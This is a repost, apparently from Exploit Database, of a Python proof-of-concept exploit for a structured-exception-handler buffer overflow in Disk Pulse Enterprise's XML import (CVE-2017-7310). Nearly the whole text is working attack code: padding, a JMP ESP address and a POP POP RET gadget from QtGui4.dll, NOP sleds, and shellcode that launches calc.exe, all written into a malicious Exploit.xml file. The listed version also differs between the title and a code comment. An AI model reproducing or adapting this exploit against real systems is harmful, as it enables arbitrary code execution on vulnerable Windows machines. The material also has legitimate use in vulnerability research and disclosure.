Disk Pulse Enterprise 10.4.18 – ‘Import Command’ Buffer Overflow (SEH)

• Exploit Database
• 17 阅读

• 作者： Daniel Teixeira
  日期： 2018-02-21
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44157/

• #!/usr/bin/env python
  
  # Exploit Title: Disk Pulse Enterprise v10.4.18 - 'Import Command' Buffer Overflow (SEH)
  # Date: 2018-01-22
  # Exploit Author: Daniel Teixeira
  # Author Homepage: www.danielteixeira.com
  # Vendor Homepage: http://www.diskpulse.com
  # Software Link: http://www.diskpulse.com/setups/diskpulseent_setup_v10.4.18.exe
  # Version: 10.4.16
  # Tested on: Windows 7 SP1 x86
  # CVE: CVE-2017-7310 
  
  import os,struct
  
  #Buffer overflow
  junk = "A"*1560
  
  #JMP ESP (QtGui4.dll)
  jmpesp= struct.pack('<L',0x651bb77a)
  
  #NOPS
  nops = "\x90"
  
  #LEA EAX, [ESP+76]
  esp = "\x8D\x44\x24\x4C"
  #JMP ESP
  jmp = "\xFF\xE0"
  
  #JMP Short = EB 05
  nSEH = "\x90\x90\xEB\x05" #Jump short 5
  #POP POP RET (QtGui4.dll)
  SEH = struct.pack('<L',0x67033072)
  
  #CALC.EXE
  shellcode ="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
  
  #PAYLOAD
  payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000
  
  #FILE
  file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'
  
  f = open('Exploit.xml', 'w')
  f.write(file)
  f.close()